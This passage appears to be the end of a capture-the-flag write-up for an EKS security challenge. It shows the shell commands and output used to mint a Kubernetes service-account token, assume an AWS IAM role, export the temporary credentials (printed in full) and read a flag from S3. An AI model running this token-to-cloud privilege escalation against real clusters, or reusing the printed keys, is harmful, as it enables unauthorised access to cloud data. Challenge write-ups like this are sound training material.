> export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IjUyNGI4MzMyZGNjYzQ2ZDE1MDFmMjQxZWE4ZGJjNWRkM2QzZmYwODEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTc0NDQ2OTAxOCwiaWF0IjoxNzQ0NDY1NDE4LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3NDQ0NjU0MTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.PpafxIZcmSF_z7-5RDMnGlnpWHtsKpRnMyML2EvCE62lMHW4lb8A2onyu7cBn_qcVAKIkzvIST0lxPZb2SqQYqtpCMCzEQf-wiI-vgY7ssM2tGXr8LuX1FQR6lOwvoSYFmG-81hlYbnhGs1yCpwA2gjqiILf4HYhvOl59Aicp15Llj7a7E57eIcLxzeEI747Pc6QfPiQxts60fOUaRAk0jnTMobmQFVflzKRBom8GmLqFbszEZLbACPg_eX32O_zgZoO7uWJMXtisChJCWwfYhk7wJ5FJhMUVCF5s9nW0P_khim-b-kA1ENj9w7LJSXG8FJtbP9zCy4XC4KHa4OVsw

> aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token $TOKEN
An error occurred (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience

The above token will still have the default audience of the Kubernetes service. We can change that though with the --audience flag.

> kubectl create token debug-sa --audience=sts.amazonaws.com
eyJhbGciOiJSUzI1NiIsImtpZCI6IjUyNGI4MzMyZGNjYzQ2ZDE1MDFmMjQxZWE4ZGJjNWRkM2QzZmYwODEifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzQ0NDY5NDU1LCJpYXQiOjE3NDQ0NjU4NTUsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTc0NDQ2NTg1NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.qEUyL9upvc6IBpR_7fA-N1YgzM_mBcF7teRsg840ylE6OUZD6w-qZw_NdnfXF4S8NUROxpxoeJCywOAjya4WuGYDDbxMIM8BcP2o_9iu-QGX-uVIG2fo_tGTkcUNfTHNDxmaTy79LJiezjSYcpH8VBwsvnQ5VnpgpYHZRSVwqYQ27ld4iPe3fjdOyrS5M8GiT3AHW2Zf4Vz8fNu5ikzvPxIPazrYvL03cwWfAHESv3RzUI8H8l0MxCw9xoObz3M9-B5phmFynjjQM1ceA6Vki1_5L2I3Tpgvwot2fYu3BRpdFYTO5goE6rE_ejZeoikkx4dwWsSB3Z5jtja98eiq7g

> export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IjUyNGI4MzMyZGNjYzQ2ZDE1MDFmMjQxZWE4ZGJjNWRkM2QzZmYwODEifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzQ0NDY5NDU1LCJpYXQiOjE3NDQ0NjU4NTUsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTc0NDQ2NTg1NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.qEUyL9upvc6IBpR_7fA-N1YgzM_mBcF7teRsg840ylE6OUZD6w-qZw_NdnfXF4S8NUROxpxoeJCywOAjya4WuGYDDbxMIM8BcP2o_9iu-QGX-uVIG2fo_tGTkcUNfTHNDxmaTy79LJiezjSYcpH8VBwsvnQ5VnpgpYHZRSVwqYQ27ld4iPe3fjdOyrS5M8GiT3AHW2Zf4Vz8fNu5ikzvPxIPazrYvL03cwWfAHESv3RzUI8H8l0MxCw9xoObz3M9-B5phmFynjjQM1ceA6Vki1_5L2I3Tpgvwot2fYu3BRpdFYTO5goE6rE_ejZeoikkx4dwWsSB3Z5jtja98eiq7g

> aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token $TOKEN
{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMQLMUK7CF",
        "SecretAccessKey": "9SHuNIIdT3ARdSSBq9A5/OufybtK52I/Vq6Gp9o0",
        "SessionToken": "IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJGMEQCICeDv6jRbe4LARogsfDlaoDOBK8x8CN9C3vuPfJ42xoYAiBNXjWz5msBVRpYVka+Ij+heyrkY3GhYkvLwgt5SUj0JSq+BAjX//////////8BEAEaDDY4ODY1NTI0NjY4MSIMYhLAKAGJxt3VHSVdKpIECp6lD+BWIB+1b/yA5Iz1KrA9f+4xVA1BSxn1GvBBJkJTzJB+M3LfVc1dJep9jSsWcAIhkUsxpFyI+KRemI5suR/qhrachj8OjEeDPoRoPz3c5nUFn45YMDbAnudbDFQQKTR0gorWB69i6DYXRYHR4LLoUj2ziTePeXzKzgggyW01k37R1WhPx0BmQhjtsBZ5tJDRCEDTO2XTs92WAi8xn3fKjHImQUD8KgdsXYzn22HTCwcUf6eemGitxq3b3lbaG8vtQ6JeZ4CNJ+6mwLpQrTmhFBDrbkJznHkzCRKQ4c6DmU4SJxZSLe5Z90qHFo8raVpKPu1noVMVq4nvEnqkAuhfw29NRbyO77RJdTC7Utee2UjyMPF6a1p4dnX+dvxPccsRxv7XehsPVqKxJsc1+ZPVSne3mv1wmKEJs+8dsFBiAM9QQz56d71ujFxmrtV8IUQqJc8koX9vnGcXTorydQP4du+x5KTja4q00yURwIF5FUeNpsviI7AjEsry2IsaSu1CpGHOPgTYwrrcyBWH3vm6Ze9AVhp99tQYpLM//+BXqT/gP/PWBLePgviG7rC2VUYEzAQ21cQUTUyFdwc2s0Q3Ze5jAHp0d2qyyxo5XiggIYZ0PKe7C1aa5474UcXFuIjRmeREwGAdlqYaTpaz8v487v/rxSzCq0aLJuaE7jDfZKNL+ZncGCYAfvs/V/W5zhAw3uDpvwY6lgFyZ+T9cs2+ddei24zb8OhZ+GSK5qnX8XqHozELuf1z5riOmhXdjIju37exrL9/WmbsFpE1xyvurKBx+n9bjjpm6mKA/2kOY0l7ItgUE2qScMT1rnEc4lajwVw0Rsd0sajrA+61FLimTt8PulQvwULeEtHijcAf1M2Ft69Gze/StgnrldxYBXvICkUTsYEohDM60GyLabQ=",
        "Expiration": "2025-04-12T14:53:34+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:test",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

> export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQLMUK7CF
> export AWS_SECRET_ACCESS_KEY=9SHuNIIdT3ARdSSBq9A5/OufybtK52I/Vq6Gp9o0
> export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJGMEQCICeDv6jRbe4LARogsfDlaoDOBK8x8CN9C3vuPfJ42xoYAiBNXjWz5msBVRpYVka+Ij+heyrkY3GhYkvLwgt5SUj0JSq+BAjX//////////8BEAEaDDY4ODY1NTI0NjY4MSIMYhLAKAGJxt3VHSVdKpIECp6lD+BWIB+1b/yA5Iz1KrA9f+4xVA1BSxn1GvBBJkJTzJB+M3LfVc1dJep9jSsWcAIhkUsxpFyI+KRemI5suR/qhrachj8OjEeDPoRoPz3c5nUFn45YMDbAnudbDFQQKTR0gorWB69i6DYXRYHR4LLoUj2ziTePeXzKzgggyW01k37R1WhPx0BmQhjtsBZ5tJDRCEDTO2XTs92WAi8xn3fKjHImQUD8KgdsXYzn22HTCwcUf6eemGitxq3b3lbaG8vtQ6JeZ4CNJ+6mwLpQrTmhFBDrbkJznHkzCRKQ4c6DmU4SJxZSLe5Z90qHFo8raVpKPu1noVMVq4nvEnqkAuhfw29NRbyO77RJdTC7Utee2UjyMPF6a1p4dnX+dvxPccsRxv7XehsPVqKxJsc1+ZPVSne3mv1wmKEJs+8dsFBiAM9QQz56d71ujFxmrtV8IUQqJc8koX9vnGcXTorydQP4du+x5KTja4q00yURwIF5FUeNpsviI7AjEsry2IsaSu1CpGHOPgTYwrrcyBWH3vm6Ze9AVhp99tQYpLM//+BXqT/gP/PWBLePgviG7rC2VUYEzAQ21cQUTUyFdwc2s0Q3Ze5jAHp0d2qyyxo5XiggIYZ0PKe7C1aa5474UcXFuIjRmeREwGAdlqYaTpaz8v487v/rxSzCq0aLJuaE7jDfZKNL+ZncGCYAfvs/V/W5zhAw3uDpvwY6lgFyZ+T9cs2+ddei24zb8OhZ+GSK5qnX8XqHozELuf1z5riOmhXdjIju37exrL9/WmbsFpE1xyvurKBx+n9bjjpm6mKA/2kOY0l7ItgUE2qScMT1rnEc4lajwVw0Rsd0sajrA+61FLimTt8PulQvwULeEtHijcAf1M2Ft69Gze/StgnrldxYBXvICkUTsYEohDM60GyLabQ=

> aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMZEZ2AFVYI:test",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"
}

From the IAM policy we know the flag is at challenge-flag-bucket-3ff1ae2/flag

> aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

Join Paul on Peerlist!

Join amazing folks like Paul and thousands of other people in tech.

Create Profile

Join with Paul’s personal invite link.

0

4

1